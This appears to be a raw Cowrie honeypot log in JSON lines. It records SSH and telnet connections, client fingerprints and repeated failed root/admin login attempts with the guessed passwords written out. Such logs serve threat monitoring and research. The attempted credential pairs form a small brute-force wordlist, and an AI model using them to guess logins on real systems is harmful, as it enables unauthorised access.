{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:20.654662Z","src_ip":"77.94.47.83","session":"5a9854d3e31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:22.411756Z","src_ip":"77.94.47.83","session":"5a9854d3e31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53710,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b275b41988a","protocol":"telnet","message":"New connection: 135.148.14.151:53710 (159.203.135.109:23) [session: 1b275b41988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:46.516132Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec7234ad782","protocol":"telnet","message":"New connection: 135.148.14.151:55158 (159.203.135.109:23) [session: 6ec7234ad782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:51:49.770957Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37514,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c157a6e33fd","protocol":"telnet","message":"New connection: 135.148.14.151:37514 (159.203.135.109:23) [session: 9c157a6e33fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:12.588265Z"}
{"eventid":"cowrie.session.closed","duration":36.07731509208679,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:22.593320Z","src_ip":"135.148.14.151","session":"1b275b41988a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24847,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23893c73b6c","protocol":"ssh","message":"New connection: 2.57.121.112:24847 (10.17.0.5:22) [session: a23893c73b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:27.077256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:27.098795Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:27.196363Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031188","message":"login attempt [admin/031188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:27.632772Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03111995","message":"login attempt [admin/03111995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:28.737026Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.42927622795105,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:29.200128Z","src_ip":"135.148.14.151","session":"6ec7234ad782","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031088","message":"login attempt [admin/031088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:29.840784Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031082","message":"login attempt [admin/031082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:30.943933Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030983","message":"login attempt [admin/030983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:32.048334Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:33.153933Z","src_ip":"2.57.121.112","session":"a23893c73b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.98265838623047,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:52:49.570750Z","src_ip":"135.148.14.151","session":"9c157a6e33fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a321539cedb2","protocol":"telnet","message":"New connection: 135.148.14.151:40770 (159.203.135.109:23) [session: a321539cedb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:18.385021Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56706,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa23f3c75e45","protocol":"ssh","message":"New connection: 62.133.63.178:56706 (159.203.135.109:22) [session: fa23f3c75e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:32.900977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:32.905824Z","src_ip":"62.133.63.178","session":"fa23f3c75e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:33.024944Z","src_ip":"62.133.63.178","session":"fa23f3c75e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker777","message":"login attempt [root/stalker777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:33.383999Z","src_ip":"62.133.63.178","session":"fa23f3c75e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:34.506147Z","src_ip":"62.133.63.178","session":"fa23f3c75e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97729277610779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:53:53.362207Z","src_ip":"135.148.14.151","session":"a321539cedb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56986,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca25bd5f558","protocol":"ssh","message":"New connection: 37.233.85.71:56986 (10.17.0.5:22) [session: 2ca25bd5f558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:27.597007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:27.601677Z","src_ip":"37.233.85.71","session":"2ca25bd5f558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:27.710727Z","src_ip":"37.233.85.71","session":"2ca25bd5f558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120588","message":"login attempt [root/120588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:28.036278Z","src_ip":"37.233.85.71","session":"2ca25bd5f558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:29.147198Z","src_ip":"37.233.85.71","session":"2ca25bd5f558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53804,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae2b08b692a","protocol":"ssh","message":"New connection: 87.251.79.125:53804 (10.17.0.5:22) [session: cae2b08b692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:55.993784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:55.999337Z","src_ip":"87.251.79.125","session":"cae2b08b692a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:56.075003Z","src_ip":"87.251.79.125","session":"cae2b08b692a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110388","message":"login attempt [root/110388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:56.296458Z","src_ip":"87.251.79.125","session":"cae2b08b692a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:54:57.372683Z","src_ip":"87.251.79.125","session":"cae2b08b692a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54942,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f6380a81cac","protocol":"ssh","message":"New connection: 109.237.96.109:54942 (10.17.0.5:22) [session: 7f6380a81cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:07.793973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:07.799285Z","src_ip":"109.237.96.109","session":"7f6380a81cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:07.898626Z","src_ip":"109.237.96.109","session":"7f6380a81cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"krasavchik","message":"login attempt [root/krasavchik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:08.190990Z","src_ip":"109.237.96.109","session":"7f6380a81cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:09.287824Z","src_ip":"109.237.96.109","session":"7f6380a81cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50958,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9ced61453f","protocol":"telnet","message":"New connection: 135.148.14.151:50958 (159.203.135.109:23) [session: ff9ced61453f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:40.985973Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43686,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd4306b69f7","protocol":"ssh","message":"New connection: 103.77.175.15:43686 (159.203.135.109:22) [session: 3fd4306b69f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:56.900735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:56.907105Z","src_ip":"103.77.175.15","session":"3fd4306b69f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:57.161240Z","src_ip":"103.77.175.15","session":"3fd4306b69f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17061988","message":"login attempt [root/17061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:57.923771Z","src_ip":"103.77.175.15","session":"3fd4306b69f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:55:59.182679Z","src_ip":"103.77.175.15","session":"3fd4306b69f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34084,"dst_ip":"159.203.135.109","dst_port":23,"session":"59c56df9838a","protocol":"telnet","message":"New connection: 135.148.14.151:34084 (159.203.135.109:23) [session: 59c56df9838a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:09.899123Z"}
{"eventid":"cowrie.session.closed","duration":34.32104802131653,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:15.306942Z","src_ip":"135.148.14.151","session":"ff9ced61453f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":54102,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f0fd4e07ae8","protocol":"ssh","message":"New connection: 176.32.39.21:54102 (10.17.0.5:22) [session: 5f0fd4e07ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:19.394151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:19.398573Z","src_ip":"176.32.39.21","session":"5f0fd4e07ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:56:19.518518Z","src_ip":"176.32.39.21","session":"5f0fd4e07ae8","protocol":"ssh"}
